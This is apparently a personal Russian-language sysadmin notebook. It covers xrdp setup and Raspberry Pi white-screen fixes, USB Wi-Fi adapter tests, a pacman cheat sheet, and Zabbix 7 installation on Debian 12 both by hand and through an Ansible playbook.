#neutrinordp.allow_client_keyboardLayout=true ; The following options will override the remote keyboard layout settings. ; These options are for DEBUG and are not recommended for regular use. #neutrinordp.override_keyboardLayout_mask=0x0000FFFF #neutrinordp.override_kbd_type=0x04 #neutrinordp.override_kbd_subtype=0x01 #neutrinordp.override_kbd_fn_keys=12 #neutrinordp.override_kbd_layout=0x00000409 ; You can override the common channel settings for each session type #channel.rdpdr=true #channel.rdpsnd=true #channel.drdynvc=true #channel.cliprdr=true #channel.rail=true #channel.xrdpvr=true |
config /etc/xrdp/sesman.ini
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 |
;; See `man 5 sesman.ini` for details [Globals] ListenAddress=127.0.0.1 ListenPort=3350 EnableUserWindowManager=true ; Give in relative path to user's home directory UserWindowManager=startwm.sh ; Give in full path or relative path to /etc/xrdp DefaultWindowManager=startwm.sh ; Give in full path or relative path to /etc/xrdp ReconnectScript=reconnectwm.sh [Security] ;AllowRootLogin=true AllowRootLogin=false MaxLoginRetry=4 TerminalServerUsers=tsusers TerminalServerAdmins=tsadmins ; When AlwaysGroupCheck=false access will be permitted ; if the group TerminalServerUsers is not defined. AlwaysGroupCheck=false ; When RestrictOutboundClipboard=all clipboard from the ; server is not pushed to the client. ; In addition, you can control text/file/image transfer restrictions ; respectively. It also accepts comma separated list such as text,file,image. ; To keep compatibility, some aliases are also available: ; true: an alias of all ; false: an alias of none ; yes: an alias of all RestrictOutboundClipboard=none ; When RestrictInboundClipboard=all clipboard from the ; client is not pushed to the server. ; In addition, you can control text/file/image transfer restrictions ; respectively. It also accepts comma separated list such as text,file,image. ; To keep compatibility, some aliases are also available: ; true: an alias of all ; false: an alias of none ; yes: an alias of all RestrictInboundClipboard=none [Sessions] ;; X11DisplayOffset - x11 display number offset ; Type: integer ; Default: 10 X11DisplayOffset=10 ;; MaxSessions - maximum number of connections to an xrdp server ; Type: integer ; Default: 0 MaxSessions=50 ;; KillDisconnected - kill disconnected sessions ; Type: boolean ; Default: false ; if 1, true, or yes, every session will be killed within DisconnectedTimeLimit ; seconds after the user disconnects KillDisconnected=false ;; DisconnectedTimeLimit (seconds) - wait before kill disconnected sessions ; Type: integer ; Default: 0 ; if KillDisconnected is set to false, this value is ignored DisconnectedTimeLimit=0 ;; IdleTimeLimit (seconds) - wait before disconnect idle sessions ; Type: integer ; Default: 0 ; Set to 0 to disable idle disconnection. IdleTimeLimit=0 ;; Policy - session allocation policy ; Type: enum [ "Default" | "UBD" | "UBI" | "UBC" | "UBDI" | "UBDC" ] ; "Default" session per <User,BitPerPixel> ; "UBD" session per <User,BitPerPixel,DisplaySize> ; "UBI" session per <User,BitPerPixel,IPAddr> ; "UBC" session per <User,BitPerPixel,Connection> ; "UBDI" session per <User,BitPerPixel,DisplaySize,IPAddr> ; "UBDC" session per <User,BitPerPixel,DisplaySize,Connection> Policy=Default [Logging] ; Note: Log levels can be any of: core, error, warning, info, debug, or trace LogFile=xrdp-sesman.log LogLevel=INFO EnableSyslog=true #SyslogLevel=INFO #EnableConsole=false #ConsoleLevel=INFO #EnableProcessId=false [LoggingPerLogger] ; Note: per logger configuration is only used if xrdp is built with ; --enable-devel-logging #sesman.c=INFO #main()=INFO ; ; Session definitions - startup command-line parameters for each session type ; [Xorg] ; Specify the path of non-suid Xorg executable. It might differ depending ; on your distribution and version. Find out the appropriate path for your ; environment. The typical path is known as follows: ; ; Fedora 26 or later : param=/usr/libexec/Xorg ; Debian 9 or later : param=/usr/lib/xorg/Xorg ; Ubuntu 16.04 or later : param=/usr/lib/xorg/Xorg ; Arch Linux : param=/usr/lib/Xorg ; CentOS 7 : param=/usr/bin/Xorg or param=Xorg ; CentOS 8 : param=/usr/libexec/Xorg ; FreeBSD (from 2022Q4) : param=/usr/local/libexec/Xorg ; param=/usr/lib/xorg/Xorg ; Leave the rest parameters as-is unless you understand what will happen. param=-config param=xrdp/xorg.conf param=-noreset param=-nolisten param=tcp param=-logfile param=.xorgxrdp.%s.log [Xvnc] param=Xvnc param=-bs param=-nolisten param=tcp param=-localhost param=-dpi param=96 [Chansrv] ; drive redirection ; See sesman.ini(5) for the format of this parameter ;FuseMountName=/run/user/%u/thinclient_drives ;FuseMountName=/media/thinclient_drives/%U/thinclient_drives FuseMountName=remoute ; this value allows only the user to access their own mapped drives. ; Make this more permissive (e.g. 022) if required. ;FileUmask=077 ; Can be used to disable FUSE functionality - see sesman.ini(5) ;EnableFuseMount=false ; Uncomment this line only if you are using GNOME 3 versions 3.29.92 ; and up, and you wish to cut-paste files between Nautilus and Windows. Do ; not use this setting for GNOME 4, or other file managers UseNautilus3FlistFormat=true [ChansrvLogging] ; Note: one log file is created per display and the LogFile config value ; is ignored. The channel server log file names follow the naming convention: ; xrdp-chansrv.${DISPLAY}.log ; ; Note: Log levels can be any of: core, error, warning, info, debug, or trace LogLevel=INFO EnableSyslog=true #SyslogLevel=INFO #EnableConsole=false #ConsoleLevel=INFO #EnableProcessId=false [ChansrvLoggingPerLogger] ; Note: per logger configuration is only used if xrdp is built with ; --enable-devel-logging #chansrv.c=INFO #main()=INFO [SessionVariables] PULSE_SCRIPT=/etc/xrdp/pulse/default.pa |
xrdp белый экран raspberry pi
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
https://bbs.archlinux.org/viewtopic.php?id=277905 https://askubuntu.com/questions/1209300/remote-desktop-on-raspberrypi-not-working https://raspberrypi.stackexchange.com/questions/133425/connection-problem-giving-up-on-xrdp-with-raspberry-pi-os-11-bullseye https://github.com/neutrinolabs/xrdp/issues/2053 #Не очевидное решение проблемы белого экрана на raspberry https://github.com/neutrinolabs/xrdp/wiki/Tips-and-FAQ#why-cant-i-log-the-same-user-on-on-the-graphical-console-and-over-xrdp-at-the-same-time Вариант 0: СМОТРИМ ЛОГИ!!! cat /var/log/xrdp-sesman.log В каталоге пользователя: cat .xorgxrdp.*.log cat .xsession cat .xsession-errors Смотрим при подключении: journalctl -f Вариант первый: !!! На малине в принципе все начинает работать сразу из коробки и настройка не требуется. apt install -y xrdp Вариант второй: Чтобы решить эту проблему "второй сессии" и разрешить столько сессий, сколько вам нужно, отредактируйте /etc/xrdp/startwm.sh и добавьте эти строки перед строками, которые проверяют и запускают Xsession. $HOME/.profile не является частью решения, но это то, что должно быть запущено перед началом сессии в любом случае. unset DBUS_SESSION_BUS_ADDRESS unset XDG_RUNTIME_DIR . $HOME/.profile Вариант третий: Еще в борьбе с белым экраном предлагают удалить пользователя из группы video и render sudo gpasswd -d <username> video sudo gpasswd -d <username> render Вариант четвертый: Eще скрипт установки у людей на raspberry pi # Install updates sudo apt update sudo apt upgrade -y # Install and configure xRDP sudo apt install -y xrdp sudo systemctl enable xrdp sudo sed -i 's/"DRMDevice" "[[:alnum:]/]+"/"DRMDevice" ""/g' /etc/X11/xrdp/xorg.conf sudo gpasswd -d $USER video # Reboot the machine sudo reboot Вариант пятый: P.s. Многие пишут что вообще ничего не трогают и все работает кто то удаляет из группы video и тоже начинает работать а самое главное вообще не трогают startwm.sh Вариант шестой: apt-get install xserver-xorg-legacy vim /etc/X11/Xwrapper.config ---------------------------- allowed_users=anybody needs_root_rights=yes ---------------------------- Вариант седьмой: Ошибки dbus Ставим: sudo apt install dbus-x11 От пользователя выполняем: dbus-launch Вариант восьмой: https://forums.raspberrypi.com/viewtopic.php?t=387334 Включаем X Activate X11 Server over Wayland on raspi-config utility That's important Редактируем файл: Edit /etc/X11/xrdp/xorg.conf Section "Screen" Identifier "Screen (xrdpdev)" Device "Video Card (xrdpdev)" GPUDevice "Video Card (xrdpdev)" <-- Add this to section... Monitor "Monitor" |
Инфо:
|
1 2 3 4 5 6 7 8 9 10 11 |
Стенд для тестирования: две raspbery pi 3 b+ Образ: https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2024-03-15/2024-03-15-raspios-bookworm-arm64-lite.img.xz?_gl=1*165vafp*_ga*ODA4NzkwOTMwLjE3MTE2OTg2NzI.*_ga_22FD70LWDS*MTcxMTcxNjk3NC4xLjEuMTcxMTcxNjk4MC4wLjAuMA Для удобства использовался интерфейс управления точками доступа: https://raspap.com/ Расстояние от точек ~0.5 метра |
Wi-Fi адаптер DEXP WFA-301
|
1 2 3 4 5 6 7 |
https://www.dns-shop.ru/product/f849646f3c6b3330/wi-fi-adapter-dexp-wfa-301/?utm_referrer=https%3A%2F%2Fwww.dns-shop.ru%2Fproduct%2Ff849646f3c6b3330%2Fwi-fi-adapter-dexp-wfa-301%2Fcharacteristics%2F%3Futm_medium%3Dorganic%26utm_source%3Dgoogle%26utm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F Драйвер rtl8192eu не понятно как работает работает только в 2.4 максимальная скорость 30Mbit/s TCP цена 450р в днс |
Wi-Fi Адаптер USB WiFi до 600 Мбит/с для ПК, ноутбука
|
1 2 3 4 5 6 7 |
https://www.ozon.ru/product/adapter-usb-wifi-do-600-mbit-s-dlya-pk-noutbuka-1070541266/ Не работает в N (подключение есть \ скорости нет) Работает в AС 80-100 Mbit/s Драйвер 8821cu https://github.com/morrownr/8821cu-20210916?tab=readme-ov-file Цена 477р |
Wi-Fi адаптер 5 ГГц / 2.4 ГГц; двухдиапазонный, с антенной, 600Мбит/c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
https://www.ozon.ru/product/wi-fi-adapter-5-ggts-2-4-ggts-dvuhdiapazonnyy-s-antennoy-600mbit-c-902102790/?reviewsVariantMode=2 Работает N 40 Mbit/s Работает AC 115 Mbit/s Драйвер 8821cu https://github.com/morrownr/8821cu-20210916?tab=readme-ov-file Цена 444 Хорошо работает, вроде не разваливается, но драйверы кривые, спамят в dmesg. В целом лучшая карточка, работает 2.4Ghz, 5Ghz, умеет в AP Краткая инструкция как ставить: apt update apt install build-essential git dkms bc apt install linux-headers-generic cd /opt git clone https://github.com/morrownr/8821cu-20210916.git cd 8821cu-20210916 sudo ./install-driver.sh |
Wi-Fi-адаптер Wi-fi 150 Mbps 2.4ГГц usb 2.0
|
1 2 3 4 5 |
https://www.ozon.ru/product/wi-fi-adapter-wi-fi-150-mbps-2-4ggts-usb-2-0-1417541689/ В AP не работает. Самое дешевое барахло. Цена 243р |
Wi-Fi адаптер 2.4 ГГц чип Realtek RTL8188FTV 802.11 n (b g n) BATTUTRU
|
1 2 3 |
Не умеет в AP Драйвер RTL8188EU Цена 295р |
Обновление системы:
|
1 2 3 4 5 6 |
pacman -Syu - Полное обновление системы: синхронизирует базы данных пакетов и обновляет все установленные пакеты до последних версий. pacman -Sy - Синхронизирует базы данных пакетов (обновляет список доступных пакетов), но не устанавливает обновления. pacman -Su - Обновляет установленные пакеты до последних версий (без синхронизации баз). pacman -Syu - стандартная команда для поддержания системы в актуальном состоянии. |
Установка пакетов:
|
1 2 3 4 5 |
pacman -S <имя_пакета> - Устанавливает указанный пакет и его зависимости. pacman -S <пакет1> <пакет2> - Устанавливает несколько пакетов за раз. Пример: pacman -S htop - устанавливает утилиту htop для мониторинга процессов. |
Удаление пакетов:
|
1 2 3 4 5 6 |
pacman -R <имя_пакета> - Удаляет указанный пакет, оставляя его зависимости. pacman -Rs <имя_пакета> - Удаляет пакет и его зависимости, если они больше никому не нужны. pacman -Rns <имя_пакета> - Удаляет пакет, зависимости и их конфигурационные файлы (более полное удаление). Пример: pacman -Rs htop — удаляет htop и ненужные зависимости. |
Поиск пакетов:
|
1 2 3 4 5 |
pacman -Ss <ключевое_слово> - Ищет пакеты по ключевому слову в репозиториях (включая описание). pacman -Qs <ключевое_слово> - Ищет установленные пакеты по ключевому слову. Пример: pacman -Ss firefox — ищет пакеты, связанные с Firefox. |
Информация о пакетах:
|
1 2 3 4 5 |
pacman -Si <имя_пакета> - Показывает информацию о пакете из репозитория (версия, зависимости и т.д.). pacman -Qi <имя_пакета> - Показывает информацию об уже установленном пакете. Пример: pacman -Qi htop — выводит данные об установленном htop. |
Очистка системы:
|
1 2 3 4 5 6 |
pacman -Sc - Удаляет кэш загруженных пакетов, оставляя только установленные версии. pacman -Scc - Полностью очищает кэш пакетов. pacman -Rns $(pacman -Qdtq) - Удаляет "осиротевшие" пакеты (зависимости, которые больше не нужны). Пример: pacman -Scc — освобождает место, удалив весь кэш. |
Работа с зависимостями и конфликтами:
|
1 2 3 4 5 |
pacman -Syu --ignore <имя_пакета> - Обновляет систему, игнорируя указанный пакет. pacman -S --overwrite <файл> - Устанавливает пакет, перезаписывая конфликтующие файлы. Пример: pacman -Syu --ignore icu — обновляет систему, пропуская пакет icu. |
Проверка системы:
|
1 2 3 4 5 6 |
pacman -Q - Показывает список всех установленных пакетов. pacman -Qe - Показывает только явно установленные пакеты (не зависимости). pacman -Qdt - Показывает осиротевшие пакеты. Пример: pacman -Qe — полезно, чтобы понять, что ты сам устанавливал. |
Дополнительные полезные флаги:
|
1 2 3 4 5 |
--noconfirm - Подтверждает все действия автоматически (без вопросов "y/n"). --needed - Не переустанавливает уже установленные пакеты. Пример: pacman -S htop --noconfirm — устанавливает htop без подтверждения. |
Практическая последовательность для новичка:
|
1 2 3 4 5 6 |
Обнови систему: pacman -Syu Установи нужное: pacman -S <пакет> Проверь установленные пакеты: pacman -Qe Удали ненужное: pacman -Rs <пакет> Очисти осиротевшие зависимости: pacman -Rns $(pacman -Qdtq) Полностью очищает кэш пакетов и освобождает место: pacman -Scc |
Ссылки:
|
1 |
https://www.zabbix.com/download?zabbix=7.0&os_distribution=debian&os_version=12&components=server_frontend_agent&db=mysql&ws=apache |
install
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
0. Качаем и ставим пакет: wget https://repo.zabbix.com/zabbix/7.0/debian/pool/main/z/zabbix-release/zabbix-release_latest_7.0+debian12_all.deb dpkg -i zabbix-release_latest_7.0+debian12_all.deb apt update 1. Ставим пакеты: apt install zabbix-server-mysql zabbix-frontend-php zabbix-apache-conf zabbix-sql-scripts zabbix-agent 2. Создаем базу: mysql -uroot -p --------------- create database zabbix character set utf8mb4 collate utf8mb4_bin; create user zabbix@localhost identified by 'password'; grant all privileges on zabbix.* to zabbix@localhost; set global log_bin_trust_function_creators = 1; quit; ---------------- 3. Заливаем базу zabbix: zcat /usr/share/zabbix-sql-scripts/mysql/server.sql.gz | mysql --default-character-set=utf8mb4 -uzabbix -p zabbix 4. Отключите опцию log_bin_trust_function_creators после импорта схемы базы данных. mysql -uroot -p --------------- set global log_bin_trust_function_creators = 0; quit; --------------- 5. Редактируем конфиг и пароль для базы: vim /etc/zabbix/zabbix_server.conf ---------------------------------- DBPassword=password ---------------------------------- 6. Запускаем zabbix systemctl restart zabbix-server zabbix-agent apache2 systemctl enable zabbix-server zabbix-agent apache2 |
Пример ansible book
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 |
mkdir prod cd prod cat > install_zabbix_7.yaml << "EOF" --- - name: Install Zabbix vesrion 7 on server Debian 12 hosts: all become: yes vars: mysql_root_password: "password" ansible_fqdn: zabbix destin_file_cnf: /root/.my.cnf source_file_cnf: ./my.cnf zabbix_user: "zabbix" zabbix_password: "zabbix" zabbix_db: "zabbix" zabbix_host: "localhost" zabbix_priv: "{{ zabbix_db }}.*:ALL" destin_conf: /usr/share/zabbix/conf/zabbix.conf.php source_conf: ./zabbix.conf.php tasks: - name: Update apt repo and cache on all Debian/Ubuntu boxes apt: update_cache=yes force_apt_get=yes cache_valid_time=3600 - name: Upgrade all packages on servers apt: upgrade=dist force_apt_get=yes - name: Install a .deb package from the internet apt: deb: https://repo.zabbix.com/zabbix/7.0/debian/pool/main/z/zabbix-release/zabbix-release_latest_7.0+debian12_all.deb - name: Run the equivalent of "apt-get update" as a separate step apt: update_cache: yes cache_valid_time: 3600 - name: Install a list of packages apt: pkg: - zabbix-server-mysql - zabbix-frontend-php - zabbix-apache-conf - zabbix-agent - mariadb-server - python3-apt - python3 - python3-pip - python3-setuptools - python3-pymysql - zabbix-agent - zabbix-sql-scripts state: latest update_cache: True - name: Copy file cnf to Servers copy: src={{ source_file_cnf }} dest={{ destin_file_cnf }} mode=0600 owner=root group=root backup=yes - name: Edit line password lineinfile: path: /root/.my.cnf state: present regexp: '^password=' line: 'password="{{ mysql_root_password }}"' - name: Remove the test database mysql_db: login_unix_socket: /var/run/mysqld/mysqld.sock name: test state: absent - name: Remove anonymous user mysql_user: login_unix_socket: /var/run/mysqld/mysqld.sock name: '' state: absent - name: Sets the root password mysql_user: login_unix_socket: /var/run/mysqld/mysqld.sock user: root password: "{{ mysql_root_password }}" host: localhost - name: "Create new databases with names {{ zabbix_user }}" mysql_db: login_unix_socket: /var/run/mysqld/mysqld.sock name: "{{ zabbix_user }}" encoding: utf8 collation: utf8_bin state: present - name: "Add user and add privilege for {{ zabbix_db }}" mysql_user: login_unix_socket: /var/run/mysqld/mysqld.sock login_host: "localhost" name: "{{ zabbix_db }}" password: "{{ zabbix_password }}" host: "localhost" priv: "{{ zabbix_priv }}" state: present append_privs: yes - name: Importing databases mysql_db: name: "{{ zabbix_db }}" login_user: "{{zabbix_user}}" login_host: localhost login_password: "{{ zabbix_password }}" config_file: no state: import encoding: utf8 collation: utf8_bin target: "/usr/share/zabbix-sql-scripts/mysql/server.sql.gz" - name: Edit line db_password for zabbix-server lineinfile: path: /etc/zabbix/zabbix_server.conf state: present regexp: '^DBPassword=' line: 'DBPassword={{ zabbix_password }}' - name: Edit line time zone lineinfile: path: /etc/zabbix/apache.conf state: present regexp: '^php_value date.timezone Europe/Riga' line: 'php_value date.timezone Europe/Moscow' - name: Copy file conf php to server zabbix copy: src={{ source_conf }} dest={{ destin_conf }} mode=0644 owner=root group=root backup=yes - name: Service zabbix restart and add autostart shell: systemctl restart zabbix-server zabbix-agent apache2 && systemctl enable zabbix-server zabbix-agent apache2 ... EOF cat > my.cnf << "EOF" [client] user="root" password=mysql_root_password EOF cat > hosts.txt << "EOF" localhost ansible_connection=local EOF cat > ansible.cfg << "EOF" [defaults] #interpreter_python = /usr/bin/python3 host_key_cheking = false allow_world_readable_tmpfiles= true #bug mysql import inventory = ./hosts.txt forks = 10 timeout = 10 log_path = ./ansible.log pipelining = True EOF cat > zabbix.conf.php << "EOF" <?php // Zabbix GUI configuration file. $DB['TYPE'] = 'MYSQL'; $DB['SERVER'] = 'localhost'; $DB['PORT'] = '0'; $DB['DATABASE'] = 'zabbix'; $DB['USER'] = 'zabbix'; $DB['PASSWORD'] = 'zabbix'; // Schema name. Used for PostgreSQL. $DB['SCHEMA'] = ''; // Used for TLS connection. $DB['ENCRYPTION'] = false; $DB['KEY_FILE'] = ''; $DB['CERT_FILE'] = ''; $DB['CA_FILE'] = ''; $DB['VERIFY_HOST'] = false; $DB['CIPHER_LIST'] = ''; // Use IEEE754 compatible value range for 64-bit Numeric (float) history values. // This option is enabled by default for new Zabbix installations. // For upgraded installations, please read database upgrade notes before enabling this option. $DB['DOUBLE_IEEE754'] = true; $ZBX_SERVER = 'localhost'; $ZBX_SERVER_PORT = '10051'; $ZBX_SERVER_NAME = 'zbx'; $IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG; // Uncomment this block only if you are using Elasticsearch. // Elasticsearch url (can be string if same url is used for all types). //$HISTORY['url'] = [ // 'uint' => 'http://localhost:9200', // 'text' => 'http://localhost:9200' //]; // Value types stored in Elasticsearch. //$HISTORY['types'] = ['uint', 'text']; // Used for SAML authentication. // Uncomment to override the default paths to SP private key, SP and IdP X.509 certificates, and to set extra settings. //$SSO['SP_KEY'] = 'conf/certs/sp.key'; //$SSO['SP_CERT'] = 'conf/certs/sp.crt'; //$SSO['IDP_CERT'] = 'conf/certs/idp.crt'; //$SSO['SETTINGS'] = []; EOF Объяснение плейбука: Скачивание и установка пакета Zabbix: Используется модуль apt для установки пакета. Обновление списка пакетов: Обновляет кэш пакетов. Установка необходимых пакетов Zabbix: Устанавливает все необходимые пакеты. Создание базы данных Zabbix: Использует модуль mysql_db для создания базы данных. Создание пользователя Zabbix: Использует модуль mysql_user для создания пользователя и предоставления ему прав. Установка параметра log_bin_trust_function_creators: Устанавливает переменную MySQL. Импорт схемы базы данных Zabbix: Выполняет команду для импорта схемы. Отключение опции log_bin_trust_function_creators: Устанавливает переменную обратно. Редактирование конфигурационного файла Zabbix: Использует модуль lineinfile для изменения конфигурации. Перезапуск Zabbix: Перезапускает службы Zabbix и Apache. Запуск плейбука: !!! отредактируй строку в пдлейбуке "hosts: your_target_hosts # Replace with your target host group" !!! например: hosts: all или укажи конкретный хост hosts: you_host ansible-playbook install_zabbix_7.yaml a2enmod ssl |